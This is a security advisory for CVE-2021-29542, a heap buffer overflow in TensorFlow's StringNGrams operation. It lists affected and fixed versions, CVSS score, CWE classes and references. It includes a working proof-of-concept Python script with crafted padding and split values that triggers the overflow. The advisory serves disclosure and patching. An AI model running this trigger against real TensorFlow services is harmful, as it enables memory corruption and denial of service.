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CVE-2021-29542: Heap buffer overflow in `StringNGrams`

May 21, 2021 (updated October 31, 2024)

An attacker can cause a heap buffer overflow by passing crafted inputs to tf.raw_ops.StringNGrams:

import tensorflow as tf

separator = b'\x02\x00'
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True

l = ['', '', '', '', '', '', '', '', '', '', '']

data = tf.constant(l, shape=[11], dtype=tf.string)

l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)

out = tf.raw_ops.StringNGrams(data=data,
data_splits=data_splits, separator=separator,
ngram_widths=ngram_widths, left_pad=left_pad,
right_pad=right_pad, pad_width=pad_width,
preserve_short_sequences=preserve_short_sequences)

References

  • github.com/advisories/GHSA-4hrh-9vmp-2jgg
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg
  • nvd.nist.gov/vuln/detail/CVE-2021-29542

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

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Weakness

  • CWE-131: Incorrect Calculation of Buffer Size
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-cpu/CVE-2021-29542.yml

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